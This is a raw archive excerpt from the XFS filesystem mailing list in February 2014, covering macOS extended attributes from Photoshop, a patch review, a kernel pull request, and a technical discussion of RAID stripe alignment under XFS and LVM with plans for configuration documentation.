X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 163E27F52 for ; Mon, 3 Feb 2014 14:51:53 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id A4CB3AC002 for ; Mon, 3 Feb 2014 12:51:49 -0800 (PST) X-ASG-Debug-ID: 1391460703-04bdf0121fd9860001-NocioJ Received: from slmp-550-94.slc.westdc.net (slmp-550-94.slc.westdc.net [50.115.112.57]) by cuda.sgi.com with ESMTP id s0oVnqFd2JnM0iGD (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 03 Feb 2014 12:51:43 -0800 (PST) X-Barracuda-Envelope-From: lists@colorremedies.com X-Barracuda-Apparent-Source-IP: 50.115.112.57 Received: from c-50-183-15-223.hsd1.co.comcast.net ([50.183.15.223]:54065 helo=[192.168.1.145]) by slmp-550-94.slc.westdc.net with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.82) (envelope-from ) id 1WAQUZ-001sLz-1x; Mon, 03 Feb 2014 13:51:43 -0700 Content-Type: multipart/alternative; boundary="Apple-Mail=_28D81C6E-B561-4490-99BE-15883A0AC788" Mime-Version: 1.0 (Mac OS X Mail 6.6 \(1510\)) Subject: Re: Extended attributes limit in Linux From: Chris Murphy X-ASG-Orig-Subj: Re: Extended attributes limit in Linux In-Reply-To: Date: Mon, 3 Feb 2014 13:51:41 -0700 Cc: xfs@oss.sgi.com Message-Id: <5093C213-EEE8-416A-A4A1-8D463B431ADF@colorremedies.com> References: <52EB64DC.4020603@oracle.com> <1391165083.4275.7.camel@ubuntu> <52EB960D.607@oracle.com> <1391172723.4275.11.camel@ubuntu> <52EBA783.1080801@oracle.com> <1391178074.4275.19.camel@ubuntu> <52EBB431.50301@oracle.com> <6C94A326-DADE-4A32-97F6-AE84E9F57777@gmail.com> <1D87A7C9-988F-4F61-A577-67300DAF2554@dubeyko.com> <14FE2575-4C84-43B8-9992-F91ABE2B6F26@gmail.com> <83F9F221-9387-47D5-B67C-E9252056E408@colorremedies.com> To: Sun_Blood X-Mailer: Apple Mail (2.1510) X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - slmp-550-94.slc.westdc.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - colorremedies.com X-Get-Message-Sender-Via: slmp-550-94.slc.westdc.net: authenticated_id: whatever@colorremedies.com X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Connect: slmp-550-94.slc.westdc.net[50.115.112.57] X-Barracuda-Start-Time: 1391460703 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144799 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message --Apple-Mail=_28D81C6E-B561-4490-99BE-15883A0AC788 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=iso-8859-1 On Feb 3, 2014, at 12:14 AM, Sun_Blood wrote: >=20 > On Mon, Feb 3, 2014 at 2:15 AM, Chris Murphy = wrote: >=20 > On Feb 2, 2014, at 7:33 AM, Sun_Blood wrote: > > I will make a bug report for rsync also that it should not try to = copy files with EA bigger then the destination can handle. But it would = be great if XFS could handle this files and be fully compatible with OS = X backups. >=20 > What application(s) are creating such files on OS X? Or how are they = coming to have such large extended attributes? >=20 >=20 > Chris Murphy >=20 > They are created by Adobe Photoshop and/or iPhoto. I'm finding that Photoshop CS6 and older use resource fork to store = thumbnail previews, but with API changes occurring since OS X 10.4. such = requests for the resource fork actually end up as an extended attribute. = This appears with xattr -l as com.apple.ResourceFork. In two example = files they are about 50KB each. Photoshop CC doesn't create thumbnails using resource forks anymore, = thus this extended attribute isn't created. Plus the OS X Finder creates = thumbnail previews directly from supported file types, even if a = thumbnail preview resource isn't available. And last, the Resource = Manager is deprecated as of OS X 10.8.x, so I'd expect even = com.apple.ResourceFork to eventually go away (i.e. any application = wanting to write a resource to the resource fork will fail). = https://developer.apple.com/legacy/library/documentation/Carbon/Reference/= Resource_Manager/Reference/reference.html The way I'd characterize data in com.apple.ResourceFork is that it's = disposable data. That is, any application developer who cared about = data, wouldn't store it in com.apple.ResourceFork. And this isn't a = recent sentiment. Are you seeing significant extended attribute data other than = com.apple.ResourceFork in these files? Chris Murphy= --Apple-Mail=_28D81C6E-B561-4490-99BE-15883A0AC788 Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset=iso-8859-1 sblood@gmail.com> = wrote:

On Mon, Feb 3, 2014 at 2:15 AM, Chris Murphy <lists@colorremedies.com> wrote:

On Feb 2, 2014, at 7:33 AM, Sun_Blood <sblood@gmail.com> wrote:
> I will make a bug report for rsync also that it should not try to = copy files with EA bigger then the destination can handle. But it would = be great if XFS could handle this files and be fully compatible with OS = X backups.

What application(s) are creating such files on OS X? Or how are = they coming to have such large extended attributes?


Chris Murphy

They are created by = Adobe Photoshop and/or = iPhoto.

I'm finding that = Photoshop CS6 and older use resource fork to store thumbnail previews, = but with API changes occurring since OS X 10.4. such requests for the = resource fork actually end up as an extended attribute. This appears = with xattr -l as com.apple.ResourceFork. In two example files they = are about 50KB each.

Photoshop CC doesn't = create thumbnails using resource forks anymore, thus this extended = attribute isn't created. Plus the OS X Finder creates thumbnail previews = directly from supported file types, even if a thumbnail preview resource = isn't available. And last, the Resource Manager is deprecated as of = OS X 10.8.x, so I'd expect even com.apple.ResourceFork to = eventually go away (i.e. any application wanting to write a resource to = the resource fork will fail).

The way I'd characterize = data in com.apple.ResourceFork is that it's disposable data. That = is, any application developer who cared about data, wouldn't store it = in com.apple.ResourceFork. And this isn't a recent = sentiment.

Are you seeing significant extended = attribute data other than com.apple.ResourceFork in these = files?


Chris = Murphy
= --Apple-Mail=_28D81C6E-B561-4490-99BE-15883A0AC788-- From BATV+b3ec97a09ac6755656bb+3816+infradead.org+hch@bombadil.srs.infradead.org Mon Feb 3 15:15:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 18E987FFA for ; Mon, 3 Feb 2014 15:15:13 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1AA9E8F804B for ; Mon, 3 Feb 2014 13:15:13 -0800 (PST) X-ASG-Debug-ID: 1391462108-04cbb00c28c73d0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id 0BNU7Ii778zHxDCB (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 03 Feb 2014 13:15:08 -0800 (PST) X-Barracuda-Envelope-From: BATV+b3ec97a09ac6755656bb+3816+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WAQrD-0008Ei-Mn; Mon, 03 Feb 2014 21:15:07 +0000 Date: Mon, 3 Feb 2014 13:15:07 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 5/5] metadump: fully support discontiguous directory blocks Message-ID: <20140203211507.GA27453@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 5/5] metadump: fully support discontiguous directory blocks References: <1390472635-17225-1-git-send-email-david@fromorbit.com> <1390472635-17225-6-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1390472635-17225-6-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1391462108 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144799 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Looks good, Reviewed-by: Christoph Hellwig From bpm@sgi.com Mon Feb 3 15:38:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9E6D27FF0 for ; Mon, 3 Feb 2014 15:38:22 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3F44430406A; Mon, 3 Feb 2014 13:38:19 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id D48304266DC; Mon, 3 Feb 2014 15:38:18 -0600 (CST) Date: Mon, 3 Feb 2014 15:38:18 -0600 From: Ben Myers To: torvalds@linux-foundation.org Cc: akpm@linux-foundation.org, linux-kernel@vger.kernel.org, xfs@oss.sgi.com, sandeen@sandeen.net Subject: Re: [GIT PULL] XFS update #2 for 3.14-rc1 Message-ID: <20140203213818.GA2258@sgi.com> References: <20140129011209.253624266DC@whiskey.americas.sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140129011209.253624266DC@whiskey.americas.sgi.com> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Linus, On Tue, Jan 28, 2014 at 07:12:09PM -0600, Ben Myers wrote: > Please pull this xfs update for 3.14. This is to allow logical sector sized > direct io on advanced format disks. Could you pick this up for -rc2? Thanks, Ben > The following changes since commit bf3964c188d686424ff7b69a45941851b9f437f0: > > Merge branch 'xfs-extent-list-locking-fixes' into for-next (2014-01-09 16:03:18 -0600) > > are available in the git repository at: > > > git://oss.sgi.com/xfs/xfs.git tags/xfs-for-linus-v3.14-rc1-2 > > for you to fetch changes up to 7c71ee78031c248dca13fc94dea9a4cc217db6cf: > > xfs: allow logical-sector sized O_DIRECT (2014-01-24 11:55:42 -0600) > > ---------------------------------------------------------------- > xfs: update #2 for v3.14-rc1 > > - allow logical sector sized direct io on 'advanced format' 4k/512 disk. > > ---------------------------------------------------------------- > Eric Sandeen (3): > xfs: clean up xfs_buftarg > xfs: rename xfs_buftarg structure members > xfs: allow logical-sector sized O_DIRECT > > fs/xfs/xfs_buf.c | 14 +++++++++----- > fs/xfs/xfs_buf.h | 20 +++++++++++++++++--- > fs/xfs/xfs_file.c | 7 +++++-- > fs/xfs/xfs_ioctl.c | 2 +- > 4 files changed, 32 insertions(+), 11 deletions(-) > -- > To unsubscribe from this list: send the line "unsubscribe linux-kernel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > Please read the FAQ at http://www.tux.org/lkml/ From david@fromorbit.com Mon Feb 3 15:41:36 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 33B9C7FF0 for ; Mon, 3 Feb 2014 15:41:36 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2CBDC8F8037 for ; Mon, 3 Feb 2014 13:41:36 -0800 (PST) X-ASG-Debug-ID: 1391463693-04cbb00c2bc7fb0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id B8GwjUC43DxYvpMJ for ; Mon, 03 Feb 2014 13:41:33 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao8JAPQL8FJ5LGaB/2dsb2JhbABZDoJ+uU+FUoEOF3SCJQEBAQMBOhwjBQsIAxgJJQ8FJQMhE4d9B81lFxaOJQVJB4Q4BJgpkiKCblMogS0 Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail05.adl6.internode.on.net with ESMTP; 04 Feb 2014 08:11:32 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WARGi-0008Jo-MN; Tue, 04 Feb 2014 08:41:28 +1100 Date: Tue, 4 Feb 2014 08:41:28 +1100 From: Dave Chinner To: "C. Morgan Hamill" Cc: Stan Hoeppner , xfs Subject: Re: Question regarding XFS on LVM over hardware RAID. Message-ID: <20140203214128.GR13997@dastard> X-ASG-Orig-Subj: Re: Question regarding XFS on LVM over hardware RAID. References: <52E91923.4070706@sandeen.net> <1391022066-sup-5863@al.wesleyan.edu> <52E99504.4030902@hardwarefreak.com> <1391090527-sup-4664@al.wesleyan.edu> <20140130202819.GO2212@dastard> <52EB3B96.7000103@hardwarefreak.com> <1391202273-sup-9265@al.wesleyan.edu> <52ED61C9.8060504@hardwarefreak.com> <20140202212152.GP2212@dastard> <1391443675-sup-1730@al.wesleyan.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391443675-sup-1730@al.wesleyan.edu> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1391463693 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144801 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Mon, Feb 03, 2014 at 11:12:39AM -0500, C. Morgan Hamill wrote: > Excerpts from Dave Chinner's message of 2014-02-02 16:21:52 -0500: > > On Sat, Feb 01, 2014 at 03:06:17PM -0600, Stan Hoeppner wrote: > > > On 1/31/2014 3:14 PM, C. Morgan Hamill wrote: > > > > So, basically, --dataalignment is my friend during pvcreate and > > > > lvcreate. > > > > > > If the logical sector size reported by your RAID controller is 512 > > > bytes, then "--dataalignment=9216s" should start your data section on a > > > RAID60 stripe boundary after the metadata section. > > > > > > Tthe PhysicalExtentSize should probably also match the 4608KB stripe > > > width, but this is apparently not possible. PhysicalExtentSize must be > > > a power of 2 value. I don't know if or how this will affect XFS aligned > > > write out. You'll need to consult with someone more knowledgeable of LVM. > > > > You can't do single IOs of that size, anyway, so this is where the > > BBWC on the raid controller does it's magic and caches sequntial IOs > > until it has full stripe writes cached.... > > So I am probably missing something here, could you clarify? Are you > saying that I can't do single IOs of that size (by which I take your > meaning to be IOs as small as 9216 sectors) because my RAID controllers > controller won't let me (i.e., it will cache anything smaller than the > stripe size anyway)? Typical limitations on IO size are the size of the hardware DMA scatter-gather rings of the HBA/raid controller. For example, the two hardware RAID controllers in my largest test box have limitations of 70 and 80 segments and maximum IO sizes of 280k and 320k. And looking at the IO being dispatched with blktrace, I see the maximum size is: 8,80 2 61 0.769857112 44866 D WS 12423408 + 560 [qemu-system-x86] 8,80 2 71 0.769877563 44866 D WS 12423968 + 560 [qemu-system-x86] 8,80 2 72 0.769889767 44866 D WS 12424528 + 560 [qemu-system-x86] ^^^ 560 sectors or 280k. So for this hardware, sequential 280k writes are hitting the BBWC. And because they are sequential, the BBWC is writing them back as fully stripe writes after aggregating them in NVRAM. Hence there are no performance diminishing RMW cycles occurring, even though the individual IO size is much smaller than the stripe unit/width.... > Or are you saying that XFS with these given > settings won't make writes that small (which seems false, since I'm > essentially telling it to do writes of precisely that size). I'm a bit > unclear on that. What su/sw tells XFs is how to align allocation of files, so that when we dispatch sequential IO to that file it is aligned to the underlying storage because the extents that the filesystem allocated for it are aligned. This means that if you write exactly one stripe width of data, it will hit each disk exactly once. It might take 10 IOs to get the data to the storage, but it will only hit each disk once. The function of the stripe cache (in software raid) and the BBWC (in hardware RAID) is to prevent RMW cycles while the filesystem/hardware is still flinging data at the RAID lun. Only once the controller has complete stripe widths will it calculate parity and write back the data, thereby avoiding a RMW cycle.... > In addition, does this in effect mean that when it comes to LVM, extent > size makes no difference for alignment purposes? So I don't have to > worry about anything other that aligning the beginning and ending of > logical volumes, volume groups, etc. to 9216 sector multiples? No, you still have to align everything to the underlying storage so that the filesystem on top of the volumes is correctly aligned. Where the data will be written (i.e. howthe filesystem allocates the underlying blocks) determines the IO alignment of sequential/large user IOs, and that matters far more than the size of the sequntial IOs the kernel uses to write the data. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Feb 3 15:54:19 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 375FC7FF7 for ; Mon, 3 Feb 2014 15:54:19 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 016C88F8035 for ; Mon, 3 Feb 2014 13:54:18 -0800 (PST) X-ASG-Debug-ID: 1391464456-04bdf0121ddb4f0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id ZBnLq0Sk6PjfOfOR for ; Mon, 03 Feb 2014 13:54:16 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkIcAH4P8FJ5LGaB/2dsb2JhbABZgww4qQdDj02FUoEOF3SCJQEBBAE6HBwHBQsIAxIGCSUPBSUDDRQTh30HDs11Fox2gRsPAQIBBkkHhDgElEKDZ5IigW+BUiiBLQgX Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail05.adl6.internode.on.net with ESMTP; 04 Feb 2014 08:24:15 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WART1-0008LT-W4; Tue, 04 Feb 2014 08:54:12 +1100 Date: Tue, 4 Feb 2014 08:54:11 +1100 From: Dave Chinner To: Stan Hoeppner Cc: xfs Subject: Re: relationship of nested stripe sizes, was: Question regarding XFS on LVM over hardware RAID. Message-ID: <20140203215411.GS13997@dastard> X-ASG-Orig-Subj: Re: relationship of nested stripe sizes, was: Question regarding XFS on LVM over hardware RAID. References: <7A732267-B34F-4286-9B49-3AF8767C0B89@colorremedies.com> <52ED4143.6090303@hardwarefreak.com> <52ED6AAF.6030703@hardwarefreak.com> <98961D3F-769D-44A9-98A8-FC7867893138@colorremedies.com> <20140202213030.GQ2212@dastard> <52EF1D76.6070302@hardwarefreak.com> <20140203052415.GQ13997@dastard> <52EF6301.5040406@hardwarefreak.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52EF6301.5040406@hardwarefreak.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1391464456 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144801 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 03, 2014 at 03:36:01AM -0600, Stan Hoeppner wrote: > On 2/2/2014 11:24 PM, Dave Chinner wrote: > > On Sun, Feb 02, 2014 at 10:39:18PM -0600, Stan Hoeppner wrote: > >> On 2/2/2014 3:30 PM, Dave Chinner wrote: > ... > >>> And that is why this is a perfect example of what I'd like to see > >>> people writing documentation for. > >>> > >>> http://oss.sgi.com/archives/xfs/2013-12/msg00588.html > >>> > >>> This is not the first time we've had this nested RAID discussion, > >>> nor will it be the last. However, being able to point ot a web page > >>> or or documentation makes it a whole lot easier..... > >>> > >>> Stan - any chance you might be able to spare an hour a week to write > >>> something about optimal RAID storage configuration for XFS? > >> > >> I could do more, probably rather quickly. What kind of scope, format, > >> style? Should this be structured as reference manual style > >> documentation, FAQ, blog?? I'm leaning more towards reference style. > > > > Agreed - reference style is probably best. As for format style, I'm > > tending towards a simple, text editor friendly markup like asciidoc. > > From there we can use it to generate PDFs, wiki documentation, etc > > and so make it available in whatever format is convenient. > > Works for me, I'm a plain text kinda guy. Ok, I'll put together a basic repository and build framework for us to work from. > > The only thing I can think of that is obviously missing from this is > > the process of problem diagnosis. e.g. what to do when something > > goes wrong. The most common the mistake we see is trying to repair > > the filesystem when th storage is still broken and making a bigger > > mess. Having something that describes what to look for (e.g. raid > > reconstruction getting disks out of order) and how to recover from > > problems with as little risk and data loss as possible would be > > invaluable. > > Ahh ok. So you're going for the big scope described in your Dec 13 > email, not the paltry "optimal RAID storage configuration for XFS" > described above. Now I understand the 1 hour a week question. :) Well, that's where I'd like such a document to end up. Let's plan for the big picture, but start with small chunks of work that slowly fill in the big picture. > I'll brain dump as much as I can, in a hopefully somewhat coherent > starting doc. I'll do my best starting the XFS troubleshooting part, > but I'm much weaker here than with XFS architecture and theory. That's fine, I don't expect you to write everything ;) > >> I should be able to knock most of this out fairly quickly, but I'll need > >> help on some of it. For example I don't have any first hand experience > >> with large high end workloads. I could make up a plausible theoretical > >> example but I'd rather have as many real-world workloads as possible. > >> What I have in mind for workload examples is something like the > >> following. It would be great if list members who have one the workloads > >> below would contribute their details and pointers, any secret sauce, > >> etc. Thus when we refer someone to this document they know they're > >> reading of an actual real world production configuration. Though I > >> don't plan to name sites, people, etc, just the technical configurations. > > > > 1. General purpose (i.e. unspecialised) configuration that should be > > good for most users. > > Format with XFS defaults. Done. :) > > What detail should go with this? Are you thinking SOHO server here, > single disk web server. Anything with low IO rate and a smallish disk/RAID? I'm not really thinking of a specific configuration here. This is more a case of "don't [want to] care about optimisation" or "don't know enough about the workload to optimise it", etc. So not really a specific configuration, but more of "get the basics right" configuration guideline. > >> 1. Small file, highly parallel, random IO > >> -- mail queue, maildir mailbox storage > >> -- HPC, filesystem as a database > >> -- ?? > > > > The hot topic of the moment that fits into this category is object > > stores for distributed storage. i.e. gluster and ceph running > > openstack storage layers like swift to store large numbers of > > pictures of cats. > > The direction I was really wanting to go here is highlighting the > difference between striped RAID and linear concat, how XFS AG > parallelism on concat can provide better performance than striping for > some workloads, and why. For a long time I've wanted to create a > document about this with graphs containing "disk silo" icons, showing > the AGs spanning the striped RAID horizontally and spanning the concat > disks vertically, explaining the difference in seek patterns and how > they affect a random IO workload. I would expect that to be part of the "theory of operation" section more than an example. > Maybe I should make concat a separate topic entirely, as it can benefit > multiple workload types, from the smallest to the largest storage > setups. XFS' ability to scale IO throughput nearly infinitely over > concatenated storage is unique to Linux, and fairly unique to > filesystems in general TTBOMK. It is one of its greatest strengths. > I'd like to cover this in good detail. Right - and that's one of the reasons I mentioned that the NFS server setups should be dealt with specially, as they are prime candidates for optimisation via linear concatentation of RAID stripes rather than nested stripes.... > >> 2. Virtual machine consolidation w/mixed guest workload > > > > There's a whole lot of stuff here that is dependent on exactly how > > the VM infrastructure is set up, so this might be difficult to > > simplify enough to be useful. > > I was thinking along the lines of consolidating lots of relatively low > IO throughput guests with thin provisioning, like VPS hosting. For > instance a KVM host and a big XFS, sparse files exported to Linux guests > as drives. Maybe nobody is doing this with XFS. If you consider me nobody, then nobody is doing that. All my test VMs are hosted this way using either sparse or preallocated files. Make sure that you describe the use of extent size hints for sparse image files to minimise fragmentation.... > >> Lemme know if this is ok or if you'd like it to take a different > >> direction, if you have better or additional example workload classes, > >> etc. If mostly ok, I'll get started on the first 2 sections and fill in > >> the 3rd as people submit examples. > > > > It sounds good to me - I think that the first 2 sections are the > > core of the work - it's the theory that is in our heads (i.e. the > > black magic) that is simply not documented in a way that people can > > use. > > Agreed. > > I'll get started. Ok, I'll get a repo and build skeleton together, and we can go from there. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Feb 3 16:13:29 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 92D467FFA for ; Mon, 3 Feb 2014 16:13:29 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 900878F8035 for ; Mon, 3 Feb 2014 14:13:26 -0800 (PST) X-ASG-Debug-ID: 1391465603-04cbb00c2ac8df0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id ooaAutLtOkEJ8W8w for ; Mon, 03 Feb 2014 14:13:23 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AuQTAAQU8FJ5LGaB/2dsb2JhbABZgww4qQaQEIVSgQ4XdIIlAQEEATocHQYFCwgDGAklDwUlAxARE4d9Bw7NZxcWjipJB4Q4BJgpgTOJHYdSgW+BUiiBLQ Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail05.adl6.internode.on.net with ESMTP; 04 Feb 2014 08:42:59 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WARlB-0008OS-Je; Tue, 04 Feb 2014 09:12:57 +1100 Date: Tue, 4 Feb 2014 09:12:57 +1100 From: Dave Chinner To: Dmitriy Yu Leonov Cc: xfs@oss.sgi.com Subject: Re: >>: Re: =?utf-8?B?SNCwOiBSZTogWEZTOiBB?= =?utf-8?Q?ssertion?= failed: fs_is_ok, file: fs/xfs/xfs_alloc.c, line: 1590 Message-ID: <20140203221257.GT13997@dastard> X-ASG-Orig-Subj: Re: >>: Re: =?utf-8?B?SNCwOiBSZTogWEZTOiBB?= =?utf-8?Q?ssertion?= failed: fs_is_ok, file: fs/xfs/xfs_alloc.c, line: 1590 References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1391465603 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144801 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 03, 2014 at 09:26:04AM +0400, Dmitriy Yu Leonov wrote: > Repost my message, because I accidentally answered Dave instead of > answering all. Sorry. 